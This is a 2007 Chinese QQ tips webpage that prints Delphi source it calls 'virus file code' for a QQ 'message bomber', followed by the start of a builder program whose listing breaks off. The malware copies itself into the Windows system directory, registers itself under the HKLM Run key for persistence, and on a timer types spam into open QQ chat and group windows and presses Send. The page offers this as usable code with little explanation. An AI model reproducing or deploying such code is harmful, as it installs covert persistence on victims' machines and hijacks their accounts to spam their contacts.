• 网站首页
  • 空间模块
  • flash模块
  • 空间代码
  • 空间大图
  • 空间教程
  • 空间装饰
  • 空间素材
  • 个性贴图
  • 非主流图片
  • 空间互踩
  • 空间论坛
  • 个性网名
  • 个性签名
  • .个性资料
  • 情感日记
  • QQ资讯
  • QQ技巧
  • QQ软件
  • QQ表情
  • QQ头像
  • .QQ皮肤
  • QQ游戏
  • 博客主页

...

最新推荐文章

  • QQ空间免费粉色皮肤代码与…
  • 圣诞节祝福话语
  • 破解加QQ要回答问题
  • QQ空间音乐绿钻免费使用方…
  • 点亮QQ书签图标方法
  • 点亮QQlive高级用户图标方…
  • 移动用户使用手机QQ的常见…
  • 移动用户使用手机QQ的常见…
  • QQ好友恢复系统,Q被盗后使…

热门推荐文章

  • QQ空间音乐绿钻免费使用方…
  • 病毒预报:QQ面临病毒“偷…
  • QQ虚拟摄像头 随意和MM视…
  • 给QQ上保险:我的QQ密码谁…
  • 小偷滚开!QQ密码最新巧防…
  • 和漂亮MM视频也能“秀”相…
  • 给QQ上保险:我的QQ谁也偷…
  • [一组生活照片]MM好秀气哦
  • 无敌暴强视频MM截图大合集…

..............

您现在的位置: 酷QQ站 >> QQ技巧教程 >> QQ安全资讯 >> 文章正文

您想找的文章是:

QQ消息轰炸机的代码及原理

作者:佚名    文章来源:不详    点击数:5262    更新时间:2007-9-5
   

         QQ消息轰炸机的代码及原理       病毒文件代码
******************************************
program QQtailer;

uses
Windows,
Messages,
SysUtils,
Registry;

Const
MyMessage='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';     //消息长度150
FileName ='ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ';//文件名30
WaitTime ='TTTTTTTTTT'; //时间10

var
TimerHandle:WORD;
MSG:TMSG;
SystemPath :array[0..128] of char;
SysPath:String;
procedure TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
var
hLastWin,hButton : THandle;
szWindowText: array[0..MAX_PATH] of Char;
szTextLength: Integer;
QQName:String;
begin
hLastWin := GetForegroundWindow;
GetClassName(hLastWin,szWindowText,SizeOf(szWindowText));
if szWindowText <>'#32770' then Exit;
szTextLength := SendMessage(hLastWin, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
szWindowText[szTextLength] := #0;
if (Pos('聊天中',szWindowText)>0) or (Pos('群',szWindowText)>0) then
begin
  QQName:=Copy(szWindowText,Pos(' ',szWindowText)+1,Pos('聊天中',szWindowText)-Pos(' ',szWindowText)-2);
  hLastWin := FindWindowEx(hLastWin, THandle(nil),'#32770',nil);
  if hLastWin=0 then Exit;
  hButton := FindWindowEx(hLastWin, THandle(nil),nil,'发送(&S)');
  if hButton=0 then Exit;  
  hLastWin := FindWindowEx(hLastWin, THandle(nil),'AfxWnd42',nil);
  if hLastWin=0 then Exit;
  hLastWin := FindWindowEx(hLastWin, THandle(nil),'RICHEDIT',nil);
  if hLastWin=0 then Exit;
  QQName:=MyMessage;
  SendMessage(hLastWin,EM_REPLACESEL,180,Integer(Pchar(QQName)));
  SendMessage(hButton, WM_LBUTTONDOWN, 0, 0);
  SendMessage(hButton, WM_LBUTTONUP, 0, 0);
end;
end;

procedure StartTimer(Interval:DWORD);
begin
TimerHandle:=SetTimer(0,0,Interval,@TimerProc);
end;

Procedure AutoRun;
var
Reg:TRegistry;
begin
Reg:=TRegistry.Create;
try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False);
Reg.WriteString('SystemFile',SysPath);
finally
Reg.CloseKey;
Reg.Free;
end;


end;

begin
GetSystemDirectory(SystemPath,128);
SysPath:=SystemPath + '\' + FileName;
CopyFile(pchar(ParamStr(0)),Pchar(SysPath),False);
AutoRun;
StartTimer(StrToInt(WaitTime));
AutoRun;
while(GetMessage(Msg,0,0,0))do
begin
  AutoRun;
  TranslateMessage(Msg);
  DispatchMessage(Msg);
end;
end.

********************************************
                  制造机代码
        [我用了皮肤控件大家可能过不了编译]
********************************************
unit Unit1;

interface

uses
Windows, SysUtils,Forms, SkinData, DynamicSkinForm, spTrayIcon, SkinHint, SkinCtrls,
StdCtrls, SkinBoxCtrls,ShellAPI, spSkinShellCtrls, Classes,
Controls, Mask;

type
TForm1 = class(TForm)
  spDynamicSkinForm1: TspDynamicSkinForm;



[1] [2] [3]    

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

【将QQ消息轰炸机的代码及原理文章发送给你的好友】

  • 上一篇文章: QQ自动消息源码
  • 下一篇文章: 改个文件 让珊瑚虫QQ显出隐身好友
  • QQ消息轰炸机的代码及原理相关文章:

    教你如何使用QQ通讯录的方法
    QQ2006新增的群功能用法 群聊更惬意更方便
    不要QQ安全中心拦截将要传输的文件方法
    QQ视频教程: 群内消息及贴图不再收到
    QQ视频使用教程: 把被盗号码好友找回来
       关于我们 | 友情链接 | 联系我们 | 免责声明 | 用户留言 | 网站导航 | 支持论坛  
        QQ空间 非主流图片 QQ空间代码 QQ空间模块 -└酷酷QQ空间代码站版权所有
    copyright © 2007-2008 www.kukuQQ.com all rights reserved. kukuQQ
    推荐使用最佳分辨率浏览 1024x768 to Firefox, MS-IE6 IE7. Site powered by Powerkukuqq.